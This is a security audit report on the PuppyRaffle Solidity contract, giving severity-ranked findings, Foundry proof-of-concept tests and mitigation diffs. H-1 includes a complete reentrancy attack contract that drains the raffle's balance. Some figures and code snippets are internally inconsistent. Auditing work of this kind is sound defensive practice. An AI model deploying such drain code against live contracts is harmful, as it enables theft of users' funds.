PuppyRaffle Audit Report

Version 1.0

IT Mandalorians

August 23, 2025

PuppyRaffle Audit Report

IT Mandalorians

August 23, 2025

Prepared by: IT Mandalorians Lead Auditors: - Luisca

Table of Contents

    * [M-2] Unsafe cast of `PuppyRaffle::fee` loses fees
    * [M-3] Smart Contract wallets raffle winners without a `receive` or a `fallback` function will block the start of a new contract
  - Low
    * [L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing players at index 0 to think incorrectly they have not entered the raffle
  - Gas
    * [G-1] Unchanged variables should be declared constant or immutable.
    * [G-2] Storage variables in a loop should be cached
    * [G-3] Function only used out of contract should be External
  - Informational/Non Critical
    * [I-1] Unspecific Solidity Pragma
    * [I-2] Using an outdated version of Solidity is not recommended.
    * [I-3] Address State Variable Set Without Checks
    * [I-4] EntranceFee should be greater than zero
    * [I-5] `PuppyRaffle::selectWinner` does not follow CEI, which is not best practice
    * [I-6] Use of "magic" numbers is discouraged
    * [I-7] State variables changes should have an event
    * [I-8] Dead Code. `PuppyRaffle::_isActivePlayer` is never used and should be removed

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The IT Mandalorians team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: 2a47715b30cf11ca82db148704e67652ad679cd8

Scope

```
./src/
#-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

The PuppyRaffle audit revealed 7 critical vulnerabilities threatening protocol security and user funds. High-severity issues include: reentrancy attack enabling complete fund drainage, weak randomness allowing winner manipulation, integer overflow causing permanent fee loss, and selfdestruct vulnerability permanently locking withdrawals. Medium-severity issues: DoS attacks via quadratic complexity, unsafe fee casting causing fund loss, and smart contract winner blocking. Impact: Complete loss of user funds, protocol dysfunction, and compromised raffle integrity. The reentrancy and randomness vulnerabilities are particularly severe, allowing malicious actors to drain contracts and control outcomes. Recommendation: Immediate remediation required before deployment. Implement reentrancy guards, Chainlink VRF, and proper validation checks.

Issues found

Severity	Number of issues found
High	4
Medium	3
Low	1
Gas	3
Info	8
Total	19

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain all funds

Description: The `PuppyRaffle::refund` function does not follow CEI (Checks, Effects, Interactions) and as a result, enables participants to drain the contract balance.

In the `PupplyRaffle::refund` function, we first make an external call to the `msg.sender` address and only after making that external call do we update the `PuppyRaffle::players` array.

```
1       function refund(uint256 playerIndex) public {
2           address playerAddress = players[playerIndex];
3           require(playerAddress == msg.sender, "PuppyRaffle: Only the
                player can refund");
4           require(playerAddress != address(0), "PuppyRaffle: Player
                already refunded, or is not active");
5
6   @>      payable(msg.sender).sendValue(entranceFee);
7   @>      players[playerIndex] = address(0);
8           emit RaffleRefunded(playerAddress);
9       }
```

Impact: All fees paid by raffle entrants could be stolen by the malicious participant.

Proof of Concept:

1. User enters the rafle
2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund`
3. Attacker enters the raffle
4. Attacker calls `PuppyRaffle:refund` from their attack contract, draining the contract balance.

Proof of Code:

POC

Place the following in to the `PuppyRaffleTest.t.sol`

```
1       function testReentrancy() public {
2           address[] memory players = new address[](4);
3           players[0] = playerOne;
4           players[1] = playerTwo;
5           players[2] = playerThree;
6           players[3] = playerFour;
7           puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
8
9           ReentrancyAttack reentrancyAttack = new ReentrancyAttack(
                puppyRaffle);
10          address attacker = makeAddr("attacker");
11          vm.deal(attacker, 1 ether);
12
13          uint256 balanceAttackContractBefore = address(reentrancyAttack)
                .balance;
14          uint256 balanceContractBefore = address(puppyRaffle).balance;
15
16          vm.prank(attacker);
17          reentrancyAttack.attack{value: 1 ether}();
18
19          uint256 balanceContractAfter = address(puppyRaffle).balance;
20          uint256 balanceAttackContractAfter = address(reentrancyAttack).
                balance;
```

```
21
22          console.log("balanceContractBefore", balanceContractBefore);
23          console.log("balanceAttackContractBefore",
                balanceAttackContractBefore);
24          console.log("================================================")
                ;
25          console.log("balanceContractAfter", balanceContractAfter);
26          console.log("balanceAttackContractAfter",
                balanceAttackContractAfter);
27      }
```

And this contract as well

```
1  contract ReentrancyAttack {
2      PuppyRaffle puppyRaffle;
3      uint256 entranceFee;
4      uint256 indexOfAttacker;
5
6      constructor(PuppyRaffle _puppyRaffle){
7          puppyRaffle = _puppyRaffle;
8          entranceFee = puppyRaffle.entranceFee();
9      }
10
11     function attack() public payable{
12         address[] memory players = new address[](1);
13         players[0] = address(this);
14         puppyRaffle.enterRaffle{value: entranceFee}(players);
15         indexOfAttacker = puppyRaffle.getActivePlayerIndex(address(this
               ));
16         puppyRaffle.refund(indexOfAttacker);
17     }
18
19     function _stealMoney() internal {
20         if(address(puppyRaffle).balance >= entranceFee) {
21             puppyRaffle.refund(indexOfAttacker);
22         }
23     }
24
25     fallback() external payable {
26         _stealMoney();
27     }
28
29     receive() external payable {
30         _stealMoney();
31     }
32 }
```

Recommended mitigation: To prevent this, we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionally, we should move the event emission up as well.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the
            player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player
            already refunded, or is not active");

+       players[playerIndex] = address(0);
+       emit RaffleRefunded(playerAddress);
        payable(msg.sender).sendValue(entranceFee);
-       players[playerIndex] = address(0);
-       emit RaffleRefunded(playerAddress);
    }
```

[H-2] Weak Randomness in `PuppyRaffle::selectWinner` allows users to predict or influence the winner and influence or predict the winning puppy.

Description: Hashing `msg.sender`,`block.timestamp`, and `block.dificulty` together creates a predictable number. A predictable number is not a good random number. Malicious users can manipulate these variables or know them ahead of time to the winner of the raffle themselves.

Note: This additionally means users can front-run this function and call `refund` if they see they are not the winner.

Impact: Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the raffle.

Proof of Concept:

1. Validators can know ahead of time the `block.timestamp`, and `block.dificulty` and use that to predict when to participate. See the solidity blog on prevrandao. `block.dificulty` was recently replaced with prevrandao.
2. User can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner.
3. Users can revert their `selectWinner` transaction if they don't like the winner or the resulting puppy.

Using on-chain values as a randomness seed is a well-documented attack vector in the blockchain space.

Recommended mitigation: consider using a cryptographically provable random number generator such us as Chainlink VRF.

[H-3] Integer overflows of `PuppyRaffle::totalFees` loses fees

Description: In solidity version prior to `0.8.0` integers were subject to integer overflows.

```
uint64 maxUint64 = type(uint64).max
// maxUint64 is 18446744073709551615
maxUint64 = maxUint64 + 1
// maxUint64 will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees`are accumulated for the `feeAdress` to collect later in `PuppyRaffle::withdrawFees`. However, if `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept: 1. We conclude a raffle of 4 players 2. We then have 89 players enter a new raffle, and conclude the raffle 3. `totalFees` will be:

```
totalFees = totalFees + uint64(fee);
// aka
totalFees = 80000000000000000 + 17800000000000000
// and this will overflow!
totalFees = 153255926290448384
```

4. you will not be able to withdraw, due to the line in `PuppleRaffle::withdrawFees`:

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

Although you could use `selfdestruct`to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not the intended design of the protocol. At some point, there will be too much `balance` in the contract that the above `require` will be imposible to hit.

Code

```

    function testTotalFeesOverflow() public playersEntered {
        // We finish a raffle of 4 to collect some fees
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 startingTotalFees = puppyRaffle.totalFees();
        // startingTotalFees = 800000000000000000

        // We then have 89 players enter a new raffle
        uint256 playersNum = 89;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
```

```
15          }
16          puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
                players);
17          // We end the raffle
18          vm.warp(block.timestamp + duration + 1);
19          vm.roll(block.number + 1);
20
21          // And here is where the issue occurs
22          // We will now have fewer fees even though we just finished a
                second raffle
23          puppyRaffle.selectWinner();
24
25          uint256 endingTotalFees = puppyRaffle.totalFees();
26          console.log("ending total fees", endingTotalFees);
27          assert(endingTotalFees < startingTotalFees);
28
29          // We are also unable to withdraw any fees because of the
                require check
30          vm.expectRevert("PuppyRaffle: There are currently players
                active!");
31          puppyRaffle.withdrawFees();
32      }
```

Recommended mitigation: There are a few possible mitigations.

1. Use a newer version of solidity, and a `uint256` instead of `uint64` for `PuppyRaffle::totalFees`
2. You could also use the `SafeMath` library of OpenZeppelin for version 0.7.6 of solidity, you would still have a hard time with the `uint64` type if too many fees are collected.
3. Remove the balance check from `PuppyRaffle::withdrawFees`

```
1 -   require(address(this).balance == uint256(totalFees), "PuppyRaffle:
      There are currently players active!");
```

There are more attack vectors with that final require, so we recommend removing it regardless.

[H-4] Dangerous strict equality checks on contract balances could be manipulated

Description: A contract's balance can be forcibly manipulated by another selfdestructing contract. Therefore, it's recommended to use >, <, >= or <= instead of strict equality.

Impact: Griefing attack: Fee withdrawals can be permanently disabled with minimal cost (gas + small ETH amount) by using a selfdestruct contract.

Proof of Concept: 1. Balance of the contract is 5 ETH, totalFees = 5 ETH 2. Attacker selfdestructs 0.1 ETH to contract 3. Balance now is equal 5.1 ETH while totalFees is 5 ETH 4. WithdrawFees() will ALWAYS revert from now on

Recommended mitigation: Replace strict equality with a greater-than-or-equal check:

```
1 -   require(address(this).balance == uint256(totalFees), "PuppyRaffle:
      There are currently players active!");
2 +   require(address(this).balance >= uint256(totalFees), "PuppyRaffle:
      There are currently players active!");
```

Medium

[M-1] Quadratic Complexity in enterRaffle() Function Enables DoS Attack

Description:

The `enterRaffle()` function contains a nested loop for duplicate player checking that has O(n to the square) time complexity. The function first adds all new players to the array and then checks for duplicates by comparing each player against every other player in the array. This implementation causes gas costs to grow quadratically with the number of players.

Root cause in `PuppyRaffle.sol`:

```
1  function enterRaffle(address[] memory newPlayers) public payable {
2      require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle:
           Must send enough to enter raffle");
3      // First loop - O(n)
4      for (uint256 i = 0; i < newPlayers.length; i++) {
5          players.push(newPlayers[i]);
6      }
7
8      // Second nested loop - O(n to the square)
9      for (uint256 i = 0; i < players.length - 1; i++) {
10         for (uint256 j = i + 1; j < players.length; j++) {
11             require(players[i] != players[j], "PuppyRaffle: Duplicate
                   player");
12         }
13     }
14     emit RaffleEnter(newPlayers);
15 }
```

Impact:

- Gas costs grow quadratically with the number of players, making the function increasingly expensive to call - The contract becomes progressively more expensive to use as more players enter - Could eventually make the contract unusable if gas costs exceed block gas limits - Malicious actors could intentionally increase the players array to make the contract unusable - Legitimate users could be priced out of participating in the raffle

Proof of Concept:

POC

```
function test_DoSAttack() public {
    vm.txGasPrice(1);
    uint256 numPlayers = 100;
    address[] memory players = new address[](numPlayers);
    for (uint256 i = 0; i < numPlayers; i++) {
        players[i] = address(i);
    }

    uint256 gasBefore = gasleft();
    puppyRaffle.enterRaffle{value: entranceFee * numPlayers}(players);
    uint256 gasAfter = gasleft();
    console.log("Gas used with the first 100: ", (gasBefore - gasAfter)
        * tx.gasprice);

    address[] memory players2 = new address[](numPlayers);
    for (uint256 i = 0; i < numPlayers; i++) {
        players2[i] = address(numPlayers + i);
    }

    uint256 gasBefore2 = gasleft();
    puppyRaffle.enterRaffle{value: entranceFee * numPlayers}(players2);
    uint256 gasAfter2 = gasleft();
    console.log("Gas used with the next 200: ", (gasBefore2 - gasAfter2
       ) * tx.gasprice);
}
```

Test Results:

```
[PASS] test_DoSAttack() (gas: 25537704)
Logs:
  Gas before 1073702769
  Gas after 1067199497
  Gas used with the first 100:  6503272
  Gas used with the next 200:  18995517
```

The test demonstrates: - First 100 players consume 6,503,272 gas - Next 100 players consume 18,995,517 gas - ~2.92x increase in gas cost for the same number of players - Clear evidence of quadratic growth in gas costs

Recommended Mitigation: 1. Consider avoiding the check for duplicates. A user can create several wallets and then duplicates would not avoid the same person to participate several times.

2. Consider using mapping to replace the nested loop with a more efficient duplicate checking mechanism:

```
contract PuppyRaffle {
    mapping(address => bool) public isPlayer;

```

```
4       function enterRaffle(address[] memory newPlayers) public payable {
5           require(msg.value == entranceFee * newPlayers.length, "
                PuppyRaffle: Must send enough to enter raffle");
6
7           for (uint256 i = 0; i < newPlayers.length; i++) {
8               require(!isPlayer[newPlayers[i]], "PuppyRaffle: Duplicate
                    player");
9               isPlayer[newPlayers[i]] = true;
10              players.push(newPlayers[i]);
11          }
12
13          emit RaffleEnter(newPlayers);
14      }
15  }
```

1. Implement additional safeguards:
    - Add a maximum cap on the total number of players
    - Consider breaking large raffles into smaller ones
    - Add a maximum batch size for enterRaffle calls

These changes would reduce the time complexity from O(n to the square) to O(n) and prevent potential DoS attacks.

Severity: Medium - Impact: High - The contract can become completely unusable due to gas limits, effectively blocking all users from participating - Likelihood: Medium - While the attack is straightforward to execute, it requires a significant number of transactions and gas costs to reach a state where the contract becomes unusable - Overall: Medium - Although the impact is high, the cost to execute and gradual nature of the attack gives users and owners time to react. No direct loss of funds occurs, but the contract's core functionality can be disrupted.

[M-2] Unsafe cast of `PuppyRaffle::fee` loses fees

Description: In `PuppyRaffle::selectWinner` their is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

```
1       function selectWinner() external {
2           require(block.timestamp >= raffleStartTime + raffleDuration, "
                PuppyRaffle: Raffle not over");
3           require(players.length > 0, "PuppyRaffle: No players in raffle"
                );
4
5           uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.
                sender, block.timestamp, block.difficulty))) % players.
                length;
```

```
6           address winner = players[winnerIndex];
7           uint256 fee = totalFees / 10;
8           uint256 winnings = address(this).balance - fee;
9   @>      totalFees = totalFees + uint64(fee);
10          players = new address[](0);
11          emit RaffleWinner(winner, winnings);
12      }
```

The max value of a `uint64` is `18446744073709551615`. In terms of ETH, this is only ~18 ETH. Meaning, if more than 18ETH of fees are collected, the `fee` casting will truncate the value.

Impact: This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the `fee` as a `uint64` hits
3. `totalFees` is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
uint256 max = type(uint64).max
uint256 fee = max + 1
uint64(fee)
// prints 0
```

Recommended Mitigation: Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. Their is a comment which says:

```
// We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
-   uint64 public totalFees = 0;
+   uint256 public totalFees = 0;
.
.
.
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "
            PuppyRaffle: Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4
            players");
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender, block.
                timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;
```

```
13          uint256 prizePool = (totalAmountCollected * 80) / 100;
14          uint256 fee = (totalAmountCollected * 20) / 100;
15  -       totalFees = totalFees + uint64(fee);
16  +       totalFees = totalFees + fee;
```

[M-3] Smart Contract wallets raffle winners without a `receive` or a `fallback` function will block the start of a new contract

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Users could easily call the `selectWinner`funtion again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could get very challenging.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, making a lottery reset difficult.

Also, true winners would not get paid out and someone else could take their money!

Proof of Concept:

1. 10 smart contract wallets enter the lottery without a fallback or receive function.
2. The lottery ends
3. The `selectWinner`function wouldn't work, even though the lottery is over!

Recommended mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout amounts so winners can pull their funds out themselves with a new `claimPrize` function, putting the owness on the winner to claim their prize. (Recommended) **Pull over Push**

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing players at index 0 to think incorrectly they have not entered the raffle

Description: If a player is in the `PuppyRaffle::players`array at index 0, this will return 0, but according to the natspec, it will also return 0 if the player is not in the array.

```
1     /// @return the index of the player in the array, if they are not
          active, it returns 0
```

```
    function getActivePlayerIndex(address player) external view returns (uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
        return 0;
    }
```

Impact: A player at index 0 may incorrectly think they have not entered the raffle, and attempt to enter the raffle again, wasting gas.

Proof of Concept:

1. User enters the raffle, they are the first entrant
2. `PuppyRaffle::getActivePlayerIndex` returns 0
3. User thinks they have not enter the raffle correclty due to the function documentation

Recommended mitigation: The easiest recommendations is to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th array position for any competition, but a better solution might be to return an `int256` where the function returns -1 if the player is not active.

Gas

[G-1] Unchanged variables should be declared constant or immutable.

Reading from storage is much more expensive than reading from a constant or immutable variable.

Instances: - `PuppyRaffle::raffleDuration` should be `immutable`| - `PuppyRaffle::commonImageUri` should be `constant`| - `PuppyRaffle::rareImageUri` should be `constant`|- `PuppyRaffle::legendaryImageUri` should be `constant`|

[G-2] Storage variables in a loop should be cached

Everytime you call `player.length` you read from storage, as opposed to memory which is more gas efficient.

```
+       uint256 playerLength = player.length;
-       for (uint256 i = 0; i < players.length - 1; i++) {
+       for (uint256 i = 0; i < playersLength - 1; i++) {
-           for (uint256 j = i + 1; j < players.length; j++) {
```

```
5 +             for (uint256 j = i + 1; j < playersLength; j++) {
6                   require(players[i] != players[j], "PuppyRaffle:
                        Duplicate player");
7               }
8           }
```

[G-3] Function only used out of contract should be External

In Solidity, the difference between public and external visibility for functions lies in how they handle parameters: public functions create a copy of array parameters in memory while external functions can read array parameters directly from calldata

To avoid the unnecessary memory copy of the `PuppyRaffle::newPlayers` array, change visibility of the function `PuppyRaffle::enterRaffle` to external instead of public:

```
1 -    function enterRaffle(address[] memory newPlayers) public payable {
2 +    function enterRaffle(address[] calldata newPlayers) external
      payable {
```

Similar situation with the function `PuppyRaffle::refund` but less gas saving since it is a uint256 not an array

Informational/Non Critical

[I-1] Unspecific Solidity Pragma

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

- Found in src/PuppyRaffle.sol Line: 2

[I-2] Using an outdated version of Solidity is not recommended.

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation: Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see slither documentation for more information

[I-3] Address State Variable Set Without Checks

Check for `address(0)` when assigning values to address state variables.

- Found in src/PuppyRaffle.sol Line: 67
- Found in src/PuppyRaffle.sol Line: 208

[I-4] EntranceFee should be greater than zero

If `PuppyRaffle:_entranceFee` is zero it could impact the finance core of the application since everyone could enter for free. This error requires admin error when deploying the contract, that is why it is only considered Informational.

- Found in src/PuppyRaffle.sol Line: 63

Recommendation: Add input validation for the constructor variables:

```
1      constructor(uint256 _entranceFee, address _feeAddress, uint256
           _raffleDuration) ERC721("Puppy Raffle", "PR") {
2  +       require(_entranceFee > 0, "_entranceFee should be greater than
       zero");
3          entranceFee = _entranceFee;
```

[I-5] `PuppyRaffle::selectWinner` does not follow CEI, which is not best practice

It is best to keep code clean and follow CEI (Check, Effects, Interactions)

```
1  -       (bool success,) = winner.call{value: prizePool}("");
2  -       require(success, "PuppyRaffle: Failed to send prize pool to
       winner");
3          _safeMint(winner, tokenId);
4  +       (bool success,) = winner.call{value: prizePool}("");
5  +       require(success, "PuppyRaffle: Failed to send prize pool to
       winner");
```

[I-6] Use of "magic" numbers is discouraged

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name.

Examples:

```
1  uint256 prizePool = (totalAmountCollected * 80) / 100;
2  uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead, you could use:

```
uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
uint256 public constant FEE_PERCENTAGE = 20;
uint256 public constant POOL_PRECISION = 100;
```

[I-7] State variables changes should have an event

There are state variable changes in `PuppyRaffle::withdrawFees` and `PuppyRaffle::selectWinner` function but no event is emitted. Consider emitting an event to enable offchain indexers to track the changes.

Recommended Mitigation: for withdrawFees function

```
+   event WithdrawCompleted(address indexed feeAddress, uint256 amount);
    ...
    function withdrawFees() external {
        require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
        uint256 feesToWithdraw = totalFees;
        totalFees = 0;
        (bool success,) = feeAddress.call{value: feesToWithdraw}("");
        require(success, "PuppyRaffle: Failed to withdraw fees");
+       emit withdrawCompleted(feeAddress, feesToWithdraw);
    }
```

[I-8] Dead Code. `PuppyRaffle::_isActivePlayer` is never used and should be removed

Description: The `_isActivePlayer()` function is defined but never called anywhere in the codebase.

Impact: - Increases deployment gas costs unnecessarily - Creates confusion during code reviews and audits
- Contains O(n) loop that would be inefficient if used

Proof of Concept:

```
// Found in src/PuppyRaffle.sol [Line: 216]
function _isActivePlayer() internal view returns (bool) {
    for (uint256 i = 0; i < players.length; i++) {
        if (players[i] == msg.sender) {
            return true;
        }
    }
    return false;
```

```
9 }
```

Recommended Mitigation: Remove the unused `_isActivePlayer()` function. If similar functionality is needed, use the existing `getActivePlayerIndex()` function.